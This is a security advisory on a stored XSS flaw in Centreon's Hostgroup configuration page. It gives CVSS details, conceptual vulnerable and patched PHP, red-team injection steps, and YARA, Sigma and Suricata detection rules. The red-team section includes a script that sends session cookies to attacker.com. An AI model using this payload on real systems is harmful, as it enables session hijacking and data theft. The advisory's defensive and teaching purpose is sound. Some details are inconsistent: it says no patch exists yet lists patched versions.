CVE-2025-54890

Executive Summary

CVE-2025-54890 is a Stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the Hostgroup configuration page. This flaw allows users with elevated privileges to inject malicious scripts that are stored and executed in the context of other users' browsers. The vulnerability affects multiple versions of Centreon Infra Monitoring, including 23.10.x before 23.10.29, 24.04.x before 24.04.19, and 24.10.x before 24.10.15. The CVSS score is 6.8 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available, and no patch has been officially released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a web application vulnerability in Centreon's proprietary monitoring software.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is considered Medium due to the requirement for elevated privileges and user interaction. However, the stored XSS nature could lead to session hijacking, data theft, or further compromise within the Centreon environment.

Deep Dive & Mechanics

The vulnerability resides in the Hostgroup configuration page of Centreon Infra Monitoring. The application fails to properly neutralize user-supplied input during web page generation, allowing an attacker with elevated privileges (e.g., administrators or users with hostgroup configuration rights) to inject arbitrary HTML and JavaScript code. This injected code is stored in the database and executed when other users (including other administrators) view the affected hostgroup configuration page.

The attack flow:

1. An attacker with elevated privileges accesses the Hostgroup configuration page.
2. The attacker injects malicious JavaScript code into a field (e.g., hostgroup name, description, or custom parameter).
3. The application stores the malicious input without proper sanitization.
4. When another user (or the same user) views the hostgroup configuration page, the injected script executes in their browser context.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct output without sanitization
echo "<input type='text' name='hostgroup_name' value='" . $_POST['hostgroup_name'] . "'>";

Patched Code (Conceptual):

// Patched: Output encoding
echo "<input type='text' name='hostgroup_name' value='" . htmlspecialchars($_POST['hostgroup_name'], ENT_QUOTES, 'UTF-8') . "'>";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection. The actual patch may involve additional input validation and output encoding across all affected fields.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Centreon Infra Monitoring with elevated privileges (e.g., administrator role).
• Knowledge of the Hostgroup configuration page URL.

Exploitation Steps:

1. Log in to Centreon with an account that has hostgroup configuration privileges.
2. Navigate to the Hostgroup configuration page (e.g., /centreon/main.php?p=60101).
3. In a text field (e.g., hostgroup name), inject a payload such as:

   <script>alert('XSS')</script>
   

4. Save the hostgroup configuration.
5. When another user views the hostgroup configuration page, the script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection Steps:

1. Monitor Centreon logs for unusual input patterns in hostgroup configuration fields.
2. Use web application firewalls (WAF) to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Regularly audit user privileges and restrict hostgroup configuration access.

Hunting Queries:

• Search for <script> tags in hostgroup configuration fields.
• Monitor for unexpected outbound connections from Centreon servers.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown or malicious domains from Centreon servers.
  • Unusual patterns in HTTP POST requests to hostgroup configuration endpoints.

• Host IOCs:

  • Presence of <script> tags in Centreon database fields (e.g., hostgroup_name, hostgroup_description).
  • Modified Centreon configuration files containing malicious JavaScript.

• Log IOCs:

  • Centreon audit logs showing unexpected changes to hostgroup configurations.
  • Web server logs with XSS payloads in request parameters.

Detection Engineering

YARA Rule

rule Centreon_Stored_XSS_CVE_2025_54890 {
    meta:
        description = "Detects stored XSS payloads in Centreon hostgroup configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54890"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+["']?/is
        $xss_src = /src\s*=\s*["']?javascript:/is
    condition:
        any of them
}

Sigma Rule

title: Centreon Stored XSS in Hostgroup Configuration
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS attempts in Centreon hostgroup configuration fields
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54890
logsource:
    category: application
    product: centreon
detection:
    selection:
        event_type: hostgroup_configuration
        field_value|contains:
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in hostgroup descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Centreon Stored XSS Attempt in Hostgroup Configuration"; flow:to_server,established; content:"POST"; http_method; content:"/centreon/main.php"; http_uri; content:"p=60101"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon Infra Monitoring to the latest patched version (23.10.29, 24.04.19, or 24.10.15) once available.
2. Restrict hostgroup configuration privileges to only trusted administrators.
3. Implement input validation and output encoding for all user-supplied fields.
4. Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Measures:

1. Conduct regular security audits of Centreon configurations.
2. Enable Content Security Policy (CSP) headers to mitigate XSS impact.
3. Monitor Centreon logs for suspicious activity.
4. Apply the principle of least privilege to all Centreon users.

Workaround (if patch is unavailable):

• Manually sanitize input fields using a proxy or custom middleware.
• Disable the hostgroup configuration page for non-essential users.

Valters IT
Securing Digital Frontiers